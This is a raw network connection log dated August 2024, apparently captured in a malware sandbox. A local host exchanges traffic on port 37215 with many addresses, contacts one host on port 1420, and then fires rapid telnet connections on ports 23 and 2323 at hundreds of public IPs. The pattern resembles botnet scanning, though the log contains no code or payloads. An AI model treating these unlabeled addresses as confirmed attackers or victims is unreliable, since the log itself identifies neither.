Aug 17, 2024 01:01:51.570866108 CEST	24911	37215	192.168.2.13	156.49.93.15
Aug 17, 2024 01:01:51.570866108 CEST	24911	37215	192.168.2.13	156.228.41.177
Aug 17, 2024 01:01:51.570868015 CEST	37215	24911	197.32.202.143	192.168.2.13
Aug 17, 2024 01:01:51.570875883 CEST	24911	37215	192.168.2.13	41.42.223.43
Aug 17, 2024 01:01:51.570875883 CEST	37215	24911	41.27.100.224	192.168.2.13
Aug 17, 2024 01:01:51.570885897 CEST	37215	24911	41.76.157.189	192.168.2.13
Aug 17, 2024 01:01:51.570890903 CEST	24911	37215	192.168.2.13	197.32.202.143
Aug 17, 2024 01:01:51.570894957 CEST	37215	24911	156.186.40.160	192.168.2.13
Aug 17, 2024 01:01:51.570895910 CEST	24911	37215	192.168.2.13	41.189.51.187
Aug 17, 2024 01:01:51.570909023 CEST	24911	37215	192.168.2.13	41.27.100.224
Aug 17, 2024 01:01:51.570911884 CEST	37215	24911	156.169.4.181	192.168.2.13
Aug 17, 2024 01:01:51.570920944 CEST	37215	24911	41.254.27.214	192.168.2.13
Aug 17, 2024 01:01:51.570924044 CEST	24911	37215	192.168.2.13	156.186.40.160
Aug 17, 2024 01:01:51.570924997 CEST	24911	37215	192.168.2.13	41.76.157.189
Aug 17, 2024 01:01:51.570944071 CEST	37215	24911	156.193.141.16	192.168.2.13
Aug 17, 2024 01:01:51.570947886 CEST	24911	37215	192.168.2.13	156.169.4.181
Aug 17, 2024 01:01:51.570949078 CEST	24911	37215	192.168.2.13	41.254.27.214
Aug 17, 2024 01:01:51.570956945 CEST	37215	24911	197.10.174.8	192.168.2.13
Aug 17, 2024 01:01:51.570966005 CEST	37215	24911	197.132.104.108	192.168.2.13
Aug 17, 2024 01:01:51.570975065 CEST	37215	24911	41.214.80.35	192.168.2.13
Aug 17, 2024 01:01:51.570981979 CEST	24911	37215	192.168.2.13	156.193.141.16
Aug 17, 2024 01:01:51.570981979 CEST	24911	37215	192.168.2.13	197.10.174.8
Aug 17, 2024 01:01:51.570983887 CEST	37215	24911	197.177.251.237	192.168.2.13
Aug 17, 2024 01:01:51.570996046 CEST	37215	24911	156.108.11.34	192.168.2.13
Aug 17, 2024 01:01:51.570997953 CEST	24911	37215	192.168.2.13	197.132.104.108
Aug 17, 2024 01:01:51.571001053 CEST	24911	37215	192.168.2.13	41.214.80.35
Aug 17, 2024 01:01:51.571005106 CEST	37215	24911	197.241.230.20	192.168.2.13
Aug 17, 2024 01:01:51.571013927 CEST	37215	24911	197.22.217.137	192.168.2.13
Aug 17, 2024 01:01:51.571018934 CEST	24911	37215	192.168.2.13	156.108.11.34
Aug 17, 2024 01:01:51.571022987 CEST	24911	37215	192.168.2.13	197.177.251.237
Aug 17, 2024 01:01:51.571027040 CEST	37215	24911	41.244.17.16	192.168.2.13
Aug 17, 2024 01:01:51.571036100 CEST	24911	37215	192.168.2.13	197.241.230.20
Aug 17, 2024 01:01:51.571038008 CEST	37215	24911	41.88.12.165	192.168.2.13
Aug 17, 2024 01:01:51.571047068 CEST	37215	24911	156.97.221.58	192.168.2.13
Aug 17, 2024 01:01:51.571052074 CEST	24911	37215	192.168.2.13	197.22.217.137
Aug 17, 2024 01:01:51.571054935 CEST	24911	37215	192.168.2.13	41.244.17.16
Aug 17, 2024 01:01:51.571055889 CEST	37215	24911	156.54.97.135	192.168.2.13
Aug 17, 2024 01:01:51.571065903 CEST	24911	37215	192.168.2.13	41.88.12.165
Aug 17, 2024 01:01:51.571078062 CEST	24911	37215	192.168.2.13	156.97.221.58
Aug 17, 2024 01:01:51.571093082 CEST	24911	37215	192.168.2.13	156.54.97.135
Aug 17, 2024 01:01:51.571094990 CEST	37215	24911	197.186.5.0	192.168.2.13
Aug 17, 2024 01:01:51.571105003 CEST	37215	24911	156.102.161.60	192.168.2.13
Aug 17, 2024 01:01:51.571113110 CEST	37215	24911	41.171.186.129	192.168.2.13
Aug 17, 2024 01:01:51.571125031 CEST	37215	24911	41.182.241.161	192.168.2.13
Aug 17, 2024 01:01:51.571131945 CEST	24911	37215	192.168.2.13	197.186.5.0
Aug 17, 2024 01:01:51.571132898 CEST	24911	37215	192.168.2.13	156.102.161.60
Aug 17, 2024 01:01:51.571135044 CEST	37215	24911	197.72.54.101	192.168.2.13
Aug 17, 2024 01:01:51.571145058 CEST	37215	24911	41.239.150.78	192.168.2.13
Aug 17, 2024 01:01:51.571146011 CEST	24911	37215	192.168.2.13	41.171.186.129
Aug 17, 2024 01:01:51.571151972 CEST	24911	37215	192.168.2.13	41.182.241.161
Aug 17, 2024 01:01:51.571156979 CEST	37215	24911	41.159.62.128	192.168.2.13
Aug 17, 2024 01:01:51.571166039 CEST	37215	24911	156.10.76.136	192.168.2.13
Aug 17, 2024 01:01:51.571171999 CEST	24911	37215	192.168.2.13	197.72.54.101
Aug 17, 2024 01:01:51.571175098 CEST	24911	37215	192.168.2.13	41.239.150.78
Aug 17, 2024 01:01:51.571187019 CEST	24911	37215	192.168.2.13	41.159.62.128
Aug 17, 2024 01:01:51.571199894 CEST	24911	37215	192.168.2.13	156.10.76.136
Aug 17, 2024 01:01:51.571219921 CEST	37215	24911	197.10.125.221	192.168.2.13
Aug 17, 2024 01:01:51.571229935 CEST	37215	24911	41.252.89.8	192.168.2.13
Aug 17, 2024 01:01:51.571238041 CEST	37215	24911	156.130.136.31	192.168.2.13
Aug 17, 2024 01:01:51.571255922 CEST	37215	24911	156.214.100.68	192.168.2.13
Aug 17, 2024 01:01:51.571259975 CEST	24911	37215	192.168.2.13	197.10.125.221
Aug 17, 2024 01:01:51.571260929 CEST	24911	37215	192.168.2.13	41.252.89.8
Aug 17, 2024 01:01:51.571266890 CEST	24911	37215	192.168.2.13	156.130.136.31
Aug 17, 2024 01:01:51.571275949 CEST	37215	24911	156.13.81.217	192.168.2.13
Aug 17, 2024 01:01:51.571285963 CEST	37215	24911	197.159.98.13	192.168.2.13
Aug 17, 2024 01:01:51.571294069 CEST	37215	24911	156.243.140.57	192.168.2.13
Aug 17, 2024 01:01:51.571295977 CEST	24911	37215	192.168.2.13	156.214.100.68
Aug 17, 2024 01:01:51.571302891 CEST	37215	24911	156.24.89.59	192.168.2.13
Aug 17, 2024 01:01:51.571310043 CEST	24911	37215	192.168.2.13	197.159.98.13
Aug 17, 2024 01:01:51.571310997 CEST	24911	37215	192.168.2.13	156.13.81.217
Aug 17, 2024 01:01:51.571312904 CEST	37215	24911	197.194.116.5	192.168.2.13
Aug 17, 2024 01:01:51.571320057 CEST	24911	37215	192.168.2.13	156.243.140.57
Aug 17, 2024 01:01:51.571321964 CEST	37215	24911	156.112.134.167	192.168.2.13
Aug 17, 2024 01:01:51.571326971 CEST	37215	24911	41.14.225.167	192.168.2.13
Aug 17, 2024 01:01:51.571336985 CEST	37215	24911	41.189.176.32	192.168.2.13
Aug 17, 2024 01:01:51.571336985 CEST	24911	37215	192.168.2.13	156.24.89.59
Aug 17, 2024 01:01:51.571346045 CEST	37215	24911	197.145.201.177	192.168.2.13
Aug 17, 2024 01:01:51.571347952 CEST	24911	37215	192.168.2.13	156.112.134.167
Aug 17, 2024 01:01:51.571352005 CEST	24911	37215	192.168.2.13	197.194.116.5
Aug 17, 2024 01:01:51.571355104 CEST	37215	24911	197.198.91.160	192.168.2.13
Aug 17, 2024 01:01:51.571357012 CEST	24911	37215	192.168.2.13	41.14.225.167
Aug 17, 2024 01:01:51.571365118 CEST	37215	24911	156.131.160.70	192.168.2.13
Aug 17, 2024 01:01:51.571366072 CEST	24911	37215	192.168.2.13	41.189.176.32
Aug 17, 2024 01:01:51.571373940 CEST	37215	24911	156.40.45.93	192.168.2.13
Aug 17, 2024 01:01:51.571373940 CEST	24911	37215	192.168.2.13	197.145.201.177
Aug 17, 2024 01:01:51.571382046 CEST	24911	37215	192.168.2.13	197.198.91.160
Aug 17, 2024 01:01:51.571383953 CEST	37215	24911	41.89.90.105	192.168.2.13
Aug 17, 2024 01:01:51.571393967 CEST	37215	24911	41.146.199.34	192.168.2.13
Aug 17, 2024 01:01:51.571402073 CEST	37215	24911	156.153.212.252	192.168.2.13
Aug 17, 2024 01:01:51.571404934 CEST	24911	37215	192.168.2.13	156.131.160.70
Aug 17, 2024 01:01:51.571409941 CEST	24911	37215	192.168.2.13	41.89.90.105
Aug 17, 2024 01:01:51.571412086 CEST	37215	24911	41.253.129.75	192.168.2.13
Aug 17, 2024 01:01:51.571413994 CEST	24911	37215	192.168.2.13	156.40.45.93
Aug 17, 2024 01:01:51.571423054 CEST	24911	37215	192.168.2.13	41.146.199.34
Aug 17, 2024 01:01:51.571434021 CEST	24911	37215	192.168.2.13	156.153.212.252
Aug 17, 2024 01:01:51.571443081 CEST	24911	37215	192.168.2.13	41.253.129.75
Aug 17, 2024 01:01:51.573478937 CEST	1420	55076	45.202.35.22	192.168.2.13
Aug 17, 2024 01:01:51.573520899 CEST	55076	1420	192.168.2.13	45.202.35.22
Aug 17, 2024 01:01:51.573544025 CEST	55076	1420	192.168.2.13	45.202.35.22
Aug 17, 2024 01:01:51.579056978 CEST	1420	55076	45.202.35.22	192.168.2.13
Aug 17, 2024 01:01:51.579112053 CEST	55076	1420	192.168.2.13	45.202.35.22
Aug 17, 2024 01:01:51.584744930 CEST	1420	55076	45.202.35.22	192.168.2.13
Aug 17, 2024 01:01:52.558204889 CEST	24655	23	192.168.2.13	141.130.201.140
Aug 17, 2024 01:01:52.558208942 CEST	24655	23	192.168.2.13	42.96.97.198
Aug 17, 2024 01:01:52.558211088 CEST	24655	23	192.168.2.13	47.27.167.182
Aug 17, 2024 01:01:52.558212996 CEST	24655	23	192.168.2.13	105.144.177.188
Aug 17, 2024 01:01:52.558212996 CEST	24655	2323	192.168.2.13	98.99.178.200
Aug 17, 2024 01:01:52.558213949 CEST	24655	23	192.168.2.13	93.223.83.73
Aug 17, 2024 01:01:52.558213949 CEST	24655	23	192.168.2.13	103.213.116.7
Aug 17, 2024 01:01:52.558213949 CEST	24655	23	192.168.2.13	194.195.21.78
Aug 17, 2024 01:01:52.558238983 CEST	24655	23	192.168.2.13	62.235.133.131
Aug 17, 2024 01:01:52.558240891 CEST	24655	23	192.168.2.13	39.240.197.238
Aug 17, 2024 01:01:52.558284044 CEST	24655	23	192.168.2.13	17.217.220.36
Aug 17, 2024 01:01:52.558284998 CEST	24655	23	192.168.2.13	20.138.141.30
Aug 17, 2024 01:01:52.558284044 CEST	24655	23	192.168.2.13	158.220.113.84
Aug 17, 2024 01:01:52.558284998 CEST	24655	23	192.168.2.13	90.111.64.209
Aug 17, 2024 01:01:52.558284044 CEST	24655	23	192.168.2.13	69.225.209.4
Aug 17, 2024 01:01:52.558284044 CEST	24655	2323	192.168.2.13	36.103.251.151
Aug 17, 2024 01:01:52.558284044 CEST	24655	23	192.168.2.13	79.54.212.32
Aug 17, 2024 01:01:52.558286905 CEST	24655	23	192.168.2.13	161.89.83.27
Aug 17, 2024 01:01:52.558288097 CEST	24655	23	192.168.2.13	17.252.190.66
Aug 17, 2024 01:01:52.558286905 CEST	24655	2323	192.168.2.13	102.8.159.38
Aug 17, 2024 01:01:52.558288097 CEST	24655	23	192.168.2.13	164.155.150.174
Aug 17, 2024 01:01:52.558289051 CEST	24655	23	192.168.2.13	167.240.26.66
Aug 17, 2024 01:01:52.558290005 CEST	24655	23	192.168.2.13	219.126.0.107
Aug 17, 2024 01:01:52.558288097 CEST	24655	23	192.168.2.13	77.212.170.160
Aug 17, 2024 01:01:52.558296919 CEST	24655	2323	192.168.2.13	217.233.243.127
Aug 17, 2024 01:01:52.558296919 CEST	24655	23	192.168.2.13	32.248.9.176
Aug 17, 2024 01:01:52.558296919 CEST	24655	23	192.168.2.13	223.139.43.104
Aug 17, 2024 01:01:52.558296919 CEST	24655	23	192.168.2.13	104.97.183.97
Aug 17, 2024 01:01:52.558296919 CEST	24655	23	192.168.2.13	168.230.168.165
Aug 17, 2024 01:01:52.558296919 CEST	24655	23	192.168.2.13	219.241.116.124
Aug 17, 2024 01:01:52.558296919 CEST	24655	23	192.168.2.13	77.188.6.12
Aug 17, 2024 01:01:52.558296919 CEST	24655	23	192.168.2.13	178.16.43.53
Aug 17, 2024 01:01:52.558296919 CEST	24655	23	192.168.2.13	35.210.220.24
Aug 17, 2024 01:01:52.558296919 CEST	24655	23	192.168.2.13	204.0.142.195
Aug 17, 2024 01:01:52.558296919 CEST	24655	23	192.168.2.13	94.173.31.119
Aug 17, 2024 01:01:52.558298111 CEST	24655	23	192.168.2.13	176.222.94.161
Aug 17, 2024 01:01:52.558298111 CEST	24655	23	192.168.2.13	209.254.212.161
Aug 17, 2024 01:01:52.558298111 CEST	24655	23	192.168.2.13	147.75.23.225
Aug 17, 2024 01:01:52.558298111 CEST	24655	23	192.168.2.13	193.35.199.224
Aug 17, 2024 01:01:52.558341026 CEST	24655	23	192.168.2.13	193.211.231.100
Aug 17, 2024 01:01:52.558392048 CEST	24655	23	192.168.2.13	150.138.236.27
Aug 17, 2024 01:01:52.558392048 CEST	24655	23	192.168.2.13	19.158.192.139
Aug 17, 2024 01:01:52.558392048 CEST	24655	23	192.168.2.13	223.148.20.57
Aug 17, 2024 01:01:52.558449984 CEST	24655	23	192.168.2.13	4.39.254.9
Aug 17, 2024 01:01:52.558449984 CEST	24655	23	192.168.2.13	199.44.118.215
Aug 17, 2024 01:01:52.558449984 CEST	24655	2323	192.168.2.13	209.234.229.146
Aug 17, 2024 01:01:52.558449984 CEST	24655	23	192.168.2.13	94.78.211.74
Aug 17, 2024 01:01:52.558449984 CEST	24655	23	192.168.2.13	120.93.212.63
Aug 17, 2024 01:01:52.558449984 CEST	24655	23	192.168.2.13	130.218.128.27
Aug 17, 2024 01:01:52.558454990 CEST	24655	2323	192.168.2.13	158.70.222.97
Aug 17, 2024 01:01:52.558454990 CEST	24655	23	192.168.2.13	185.215.76.190
Aug 17, 2024 01:01:52.558454990 CEST	24655	23	192.168.2.13	192.35.131.126
Aug 17, 2024 01:01:52.558454990 CEST	24655	23	192.168.2.13	47.152.108.205
Aug 17, 2024 01:01:52.558454990 CEST	24655	23	192.168.2.13	182.234.231.29
Aug 17, 2024 01:01:52.558454990 CEST	24655	23	192.168.2.13	73.2.109.113
Aug 17, 2024 01:01:52.558454990 CEST	24655	2323	192.168.2.13	96.207.55.36
Aug 17, 2024 01:01:52.558454990 CEST	24655	23	192.168.2.13	166.216.72.39
Aug 17, 2024 01:01:52.558458090 CEST	24655	23	192.168.2.13	92.96.151.29
Aug 17, 2024 01:01:52.558458090 CEST	24655	23	192.168.2.13	77.41.130.220
Aug 17, 2024 01:01:52.558458090 CEST	24655	23	192.168.2.13	85.186.28.181
Aug 17, 2024 01:01:52.558458090 CEST	24655	23	192.168.2.13	69.224.208.214
Aug 17, 2024 01:01:52.558459997 CEST	24655	23	192.168.2.13	122.87.109.98
Aug 17, 2024 01:01:52.558458090 CEST	24655	23	192.168.2.13	199.108.28.35
Aug 17, 2024 01:01:52.558459997 CEST	24655	23	192.168.2.13	195.47.21.210
Aug 17, 2024 01:01:52.558458090 CEST	24655	23	192.168.2.13	144.32.19.138
Aug 17, 2024 01:01:52.558459997 CEST	24655	23	192.168.2.13	198.158.46.106
Aug 17, 2024 01:01:52.558458090 CEST	24655	2323	192.168.2.13	198.207.74.241
Aug 17, 2024 01:01:52.558459997 CEST	24655	23	192.168.2.13	1.221.124.149
Aug 17, 2024 01:01:52.558465004 CEST	24655	23	192.168.2.13	98.138.7.10
Aug 17, 2024 01:01:52.558459997 CEST	24655	23	192.168.2.13	18.6.155.146
Aug 17, 2024 01:01:52.558458090 CEST	24655	23	192.168.2.13	65.51.220.107
Aug 17, 2024 01:01:52.558461905 CEST	24655	23	192.168.2.13	79.147.27.210
Aug 17, 2024 01:01:52.558459997 CEST	24655	2323	192.168.2.13	42.26.195.180
Aug 17, 2024 01:01:52.558466911 CEST	24655	23	192.168.2.13	162.221.218.168
Aug 17, 2024 01:01:52.558465004 CEST	24655	23	192.168.2.13	174.59.222.164
Aug 17, 2024 01:01:52.558461905 CEST	24655	23	192.168.2.13	120.38.99.120
Aug 17, 2024 01:01:52.558466911 CEST	24655	23	192.168.2.13	201.68.106.66
Aug 17, 2024 01:01:52.558465004 CEST	24655	23	192.168.2.13	69.106.111.68
Aug 17, 2024 01:01:52.558466911 CEST	24655	2323	192.168.2.13	148.0.234.174
Aug 17, 2024 01:01:52.558465004 CEST	24655	2323	192.168.2.13	211.27.49.106
Aug 17, 2024 01:01:52.558468103 CEST	24655	23	192.168.2.13	114.51.75.92
Aug 17, 2024 01:01:52.558465004 CEST	24655	23	192.168.2.13	220.62.32.195
Aug 17, 2024 01:01:52.558468103 CEST	24655	23	192.168.2.13	53.30.182.56
Aug 17, 2024 01:01:52.558465004 CEST	24655	23	192.168.2.13	110.48.198.187
Aug 17, 2024 01:01:52.558461905 CEST	24655	23	192.168.2.13	196.155.118.65
Aug 17, 2024 01:01:52.558468103 CEST	24655	23	192.168.2.13	75.96.31.15
Aug 17, 2024 01:01:52.558463097 CEST	24655	23	192.168.2.13	119.79.115.250
Aug 17, 2024 01:01:52.558468103 CEST	24655	23	192.168.2.13	81.253.236.172
Aug 17, 2024 01:01:52.558466911 CEST	24655	23	192.168.2.13	171.8.170.119
Aug 17, 2024 01:01:52.558463097 CEST	24655	23	192.168.2.13	74.122.252.52
Aug 17, 2024 01:01:52.558466911 CEST	24655	23	192.168.2.13	180.24.28.83
Aug 17, 2024 01:01:52.558463097 CEST	24655	23	192.168.2.13	185.80.155.134
Aug 17, 2024 01:01:52.558466911 CEST	24655	23	192.168.2.13	102.69.23.127
Aug 17, 2024 01:01:52.558463097 CEST	24655	23	192.168.2.13	27.228.224.195
Aug 17, 2024 01:01:52.558466911 CEST	24655	23	192.168.2.13	24.30.228.64
Aug 17, 2024 01:01:52.558466911 CEST	24655	23	192.168.2.13	201.14.187.97
Aug 17, 2024 01:01:52.558482885 CEST	24655	2323	192.168.2.13	92.170.162.193
Aug 17, 2024 01:01:52.558482885 CEST	24655	23	192.168.2.13	48.152.3.18
Aug 17, 2024 01:01:52.558482885 CEST	24655	23	192.168.2.13	154.161.170.229
Aug 17, 2024 01:01:52.558484077 CEST	24655	23	192.168.2.13	4.35.58.96
Aug 17, 2024 01:01:52.558506966 CEST	24655	23	192.168.2.13	217.51.172.131
Aug 17, 2024 01:01:52.558506966 CEST	24655	23	192.168.2.13	98.239.233.56
Aug 17, 2024 01:01:52.558506966 CEST	24655	23	192.168.2.13	18.170.170.139
Aug 17, 2024 01:01:52.558506966 CEST	24655	23	192.168.2.13	92.186.227.200
Aug 17, 2024 01:01:52.558506966 CEST	24655	23	192.168.2.13	141.194.245.206
Aug 17, 2024 01:01:52.558506966 CEST	24655	23	192.168.2.13	57.249.85.37
Aug 17, 2024 01:01:52.558506966 CEST	24655	23	192.168.2.13	14.246.44.173
Aug 17, 2024 01:01:52.558506966 CEST	24655	2323	192.168.2.13	62.110.86.120
Aug 17, 2024 01:01:52.558514118 CEST	24655	23	192.168.2.13	218.114.183.79
Aug 17, 2024 01:01:52.558514118 CEST	24655	23	192.168.2.13	186.11.215.221
Aug 17, 2024 01:01:52.558514118 CEST	24655	23	192.168.2.13	219.14.37.11
Aug 17, 2024 01:01:52.558514118 CEST	24655	23	192.168.2.13	108.97.80.143
Aug 17, 2024 01:01:52.558514118 CEST	24655	23	192.168.2.13	77.244.219.244
Aug 17, 2024 01:01:52.558514118 CEST	24655	23	192.168.2.13	102.55.216.201
Aug 17, 2024 01:01:52.558522940 CEST	24655	23	192.168.2.13	173.230.115.77
Aug 17, 2024 01:01:52.558522940 CEST	24655	23	192.168.2.13	205.231.56.101
Aug 17, 2024 01:01:52.558522940 CEST	24655	23	192.168.2.13	85.252.162.79
Aug 17, 2024 01:01:52.558522940 CEST	24655	23	192.168.2.13	36.190.98.199
Aug 17, 2024 01:01:52.558522940 CEST	24655	23	192.168.2.13	18.64.106.120
Aug 17, 2024 01:01:52.558527946 CEST	24655	23	192.168.2.13	156.34.110.126
Aug 17, 2024 01:01:52.558527946 CEST	24655	23	192.168.2.13	201.203.185.202
Aug 17, 2024 01:01:52.558527946 CEST	24655	23	192.168.2.13	95.166.120.65
Aug 17, 2024 01:01:52.558527946 CEST	24655	23	192.168.2.13	108.187.72.222
Aug 17, 2024 01:01:52.558527946 CEST	24655	23	192.168.2.13	54.119.238.191
Aug 17, 2024 01:01:52.558527946 CEST	24655	23	192.168.2.13	115.24.98.160
Aug 17, 2024 01:01:52.558527946 CEST	24655	23	192.168.2.13	72.182.235.247
Aug 17, 2024 01:01:52.558527946 CEST	24655	23	192.168.2.13	53.53.122.252
Aug 17, 2024 01:01:52.558537006 CEST	24655	23	192.168.2.13	84.237.224.122
Aug 17, 2024 01:01:52.558537006 CEST	24655	23	192.168.2.13	165.252.93.160
Aug 17, 2024 01:01:52.558552027 CEST	24655	23	192.168.2.13	31.231.17.5
Aug 17, 2024 01:01:52.558552027 CEST	24655	23	192.168.2.13	97.132.218.43
Aug 17, 2024 01:01:52.558552027 CEST	24655	23	192.168.2.13	152.40.34.73
Aug 17, 2024 01:01:52.558552027 CEST	24655	23	192.168.2.13	79.62.45.252
Aug 17, 2024 01:01:52.558552027 CEST	24655	23	192.168.2.13	204.153.133.92
Aug 17, 2024 01:01:52.558552027 CEST	47428	2323	192.168.2.13	79.142.73.170
Aug 17, 2024 01:01:52.558552980 CEST	55634	23	192.168.2.13	191.184.181.207
Aug 17, 2024 01:01:52.558564901 CEST	58346	23	192.168.2.13	212.114.44.40
Aug 17, 2024 01:01:52.558589935 CEST	33364	23	192.168.2.13	113.14.143.159
Aug 17, 2024 01:01:52.558589935 CEST	24655	23	192.168.2.13	206.221.66.118
Aug 17, 2024 01:01:52.558589935 CEST	47528	23	192.168.2.13	13.225.168.138
Aug 17, 2024 01:01:52.558589935 CEST	48332	23	192.168.2.13	150.92.245.152
Aug 17, 2024 01:01:52.558589935 CEST	54572	23	192.168.2.13	148.3.194.169
Aug 17, 2024 01:01:52.558602095 CEST	24655	23	192.168.2.13	41.2.98.170
Aug 17, 2024 01:01:52.558603048 CEST	24655	23	192.168.2.13	188.163.83.26
Aug 17, 2024 01:01:52.558603048 CEST	24655	23	192.168.2.13	61.82.90.157
Aug 17, 2024 01:01:52.558603048 CEST	24655	23	192.168.2.13	138.249.54.228
Aug 17, 2024 01:01:52.558603048 CEST	39970	23	192.168.2.13	167.106.186.182
Aug 17, 2024 01:01:52.558603048 CEST	24655	23	192.168.2.13	90.244.13.151
Aug 17, 2024 01:01:52.558603048 CEST	50690	23	192.168.2.13	193.158.100.5
Aug 17, 2024 01:01:52.558603048 CEST	24655	2323	192.168.2.13	154.193.173.220
Aug 17, 2024 01:01:52.558603048 CEST	24655	23	192.168.2.13	63.232.41.132
Aug 17, 2024 01:01:52.558603048 CEST	24655	23	192.168.2.13	42.124.107.115
Aug 17, 2024 01:01:52.558603048 CEST	24655	23	192.168.2.13	158.158.83.146
Aug 17, 2024 01:01:52.558603048 CEST	24655	23	192.168.2.13	150.124.162.69
Aug 17, 2024 01:01:52.558619976 CEST	24655	23	192.168.2.13	114.211.17.116
Aug 17, 2024 01:01:52.558619976 CEST	24655	23	192.168.2.13	193.133.182.98
Aug 17, 2024 01:01:52.558619976 CEST	24655	23	192.168.2.13	94.84.102.127
Aug 17, 2024 01:01:52.558619976 CEST	43254	23	192.168.2.13	191.177.116.91
Aug 17, 2024 01:01:52.558620930 CEST	47474	2323	192.168.2.13	104.76.139.107
Aug 17, 2024 01:01:52.558620930 CEST	53986	23	192.168.2.13	46.228.67.215
Aug 17, 2024 01:01:52.558620930 CEST	36942	23	192.168.2.13	84.28.239.138
Aug 17, 2024 01:01:52.558629990 CEST	54124	23	192.168.2.13	99.209.13.188
Aug 17, 2024 01:01:52.558636904 CEST	46396	23	192.168.2.13	41.3.10.118
Aug 17, 2024 01:01:52.558657885 CEST	46636	23	192.168.2.13	32.183.83.201
Aug 17, 2024 01:01:52.558662891 CEST	24655	23	192.168.2.13	58.41.2.142
Aug 17, 2024 01:01:52.558662891 CEST	24655	23	192.168.2.13	180.34.245.160
Aug 17, 2024 01:01:52.558662891 CEST	54260	23	192.168.2.13	187.189.192.136
Aug 17, 2024 01:01:52.558662891 CEST	42790	23	192.168.2.13	37.21.51.226
Aug 17, 2024 01:01:52.558662891 CEST	49560	23	192.168.2.13	68.88.247.49
Aug 17, 2024 01:01:52.558666945 CEST	24655	23	192.168.2.13	166.199.104.53
Aug 17, 2024 01:01:52.558666945 CEST	24655	23	192.168.2.13	36.17.129.74
Aug 17, 2024 01:01:52.558666945 CEST	24655	2323	192.168.2.13	203.232.225.213
Aug 17, 2024 01:01:52.558666945 CEST	24655	23	192.168.2.13	169.53.49.179
Aug 17, 2024 01:01:52.558666945 CEST	24655	23	192.168.2.13	156.225.108.193
Aug 17, 2024 01:01:52.558666945 CEST	24655	23	192.168.2.13	202.234.147.169
Aug 17, 2024 01:01:52.558666945 CEST	24655	23	192.168.2.13	75.107.57.245
Aug 17, 2024 01:01:52.558686018 CEST	54708	2323	192.168.2.13	18.90.251.185
Aug 17, 2024 01:01:52.558689117 CEST	51874	23	192.168.2.13	222.226.57.5
Aug 17, 2024 01:01:52.558693886 CEST	24655	2323	192.168.2.13	117.58.206.154
Aug 17, 2024 01:01:52.558693886 CEST	24655	23	192.168.2.13	39.122.123.6
Aug 17, 2024 01:01:52.558693886 CEST	24655	23	192.168.2.13	79.137.253.181
Aug 17, 2024 01:01:52.558693886 CEST	58328	23	192.168.2.13	105.23.22.244
Aug 17, 2024 01:01:52.558702946 CEST	60656	23	192.168.2.13	174.68.191.182
Aug 17, 2024 01:01:52.558722973 CEST	41804	23	192.168.2.13	171.120.97.23
Aug 17, 2024 01:01:52.558737040 CEST	49510	23	192.168.2.13	69.6.170.31
Aug 17, 2024 01:01:52.558742046 CEST	43224	23	192.168.2.13	89.136.76.229
Aug 17, 2024 01:01:52.558751106 CEST	33372	23	192.168.2.13	120.219.67.85
Aug 17, 2024 01:01:52.558769941 CEST	46472	23	192.168.2.13	13.90.220.170
Aug 17, 2024 01:01:52.558779001 CEST	47028	23	192.168.2.13	95.66.82.184
Aug 17, 2024 01:01:52.558810949 CEST	57442	23	192.168.2.13	184.174.169.111
Aug 17, 2024 01:01:52.558842897 CEST	47522	2323	192.168.2.13	186.83.55.13
Aug 17, 2024 01:01:52.558855057 CEST	41480	23	192.168.2.13	203.52.221.203
Aug 17, 2024 01:01:52.558855057 CEST	34064	23	192.168.2.13	185.82.55.34
Aug 17, 2024 01:01:52.558864117 CEST	43338	23	192.168.2.13	175.105.85.142
Aug 17, 2024 01:01:52.558872938 CEST	56750	23	192.168.2.13	182.59.194.31
Aug 17, 2024 01:01:52.558902979 CEST	44806	23	192.168.2.13	173.52.47.158
Aug 17, 2024 01:01:52.558916092 CEST	40096	23	192.168.2.13	109.117.46.234
Aug 17, 2024 01:01:52.558933020 CEST	59030	2323	192.168.2.13	171.142.194.161
Aug 17, 2024 01:01:52.558939934 CEST	45242	23	192.168.2.13	176.2.13.220
Aug 17, 2024 01:01:52.558944941 CEST	57198	23	192.168.2.13	149.34.212.146
Aug 17, 2024 01:01:52.558949947 CEST	38176	23	192.168.2.13	150.192.58.244
Aug 17, 2024 01:01:52.558973074 CEST	49834	23	192.168.2.13	59.198.15.200
Aug 17, 2024 01:01:52.558981895 CEST	38168	23	192.168.2.13	155.142.30.24
Aug 17, 2024 01:01:52.559000015 CEST	44282	23	192.168.2.13	194.118.204.190
Aug 17, 2024 01:01:52.559007883 CEST	45476	23	192.168.2.13	181.150.39.8
Aug 17, 2024 01:01:52.559007883 CEST	45052	23	192.168.2.13	58.204.35.191
Aug 17, 2024 01:01:52.559025049 CEST	37106	23	192.168.2.13	4.1.85.72
Aug 17, 2024 01:01:52.559048891 CEST	40422	23	192.168.2.13	194.195.187.149
Aug 17, 2024 01:01:52.559051037 CEST	58306	23	192.168.2.13	183.202.137.112
Aug 17, 2024 01:01:52.559053898 CEST	52786	23	192.168.2.13	36.194.20.203
Aug 17, 2024 01:01:52.559067011 CEST	33212	23	192.168.2.13	209.113.116.211
Aug 17, 2024 01:01:52.559083939 CEST	55866	2323	192.168.2.13	213.126.211.192
Aug 17, 2024 01:01:52.559086084 CEST	53908	23	192.168.2.13	124.188.53.248
Aug 17, 2024 01:01:52.559103012 CEST	57648	23	192.168.2.13	204.32.157.249
Aug 17, 2024 01:01:52.559111118 CEST	34470	23	192.168.2.13	181.167.95.85
Aug 17, 2024 01:01:52.559128046 CEST	56268	23	192.168.2.13	166.85.104.28
Aug 17, 2024 01:01:52.559146881 CEST	50046	23	192.168.2.13	18.165.17.10
Aug 17, 2024 01:01:52.559150934 CEST	56898	23	192.168.2.13	168.101.254.60
Aug 17, 2024 01:01:52.559161901 CEST	49208	23	192.168.2.13	20.242.215.34
Aug 17, 2024 01:01:52.559169054 CEST	47784	23	192.168.2.13	202.204.35.137
Aug 17, 2024 01:01:52.559175968 CEST	44256	2323	192.168.2.13	169.73.231.62
Aug 17, 2024 01:01:52.559199095 CEST	53962	23	192.168.2.13	192.215.222.250
Aug 17, 2024 01:01:52.559199095 CEST	43288	23	192.168.2.13	40.246.137.228
Aug 17, 2024 01:01:52.559209108 CEST	55134	23	192.168.2.13	171.3.30.208
Aug 17, 2024 01:01:52.559222937 CEST	45912	23	192.168.2.13	145.77.183.183
Aug 17, 2024 01:01:52.559233904 CEST	33402	23	192.168.2.13	121.154.223.149
Aug 17, 2024 01:01:52.559247017 CEST	39208	23	192.168.2.13	173.23.173.141
Aug 17, 2024 01:01:52.559254885 CEST	37526	23	192.168.2.13	45.90.72.195
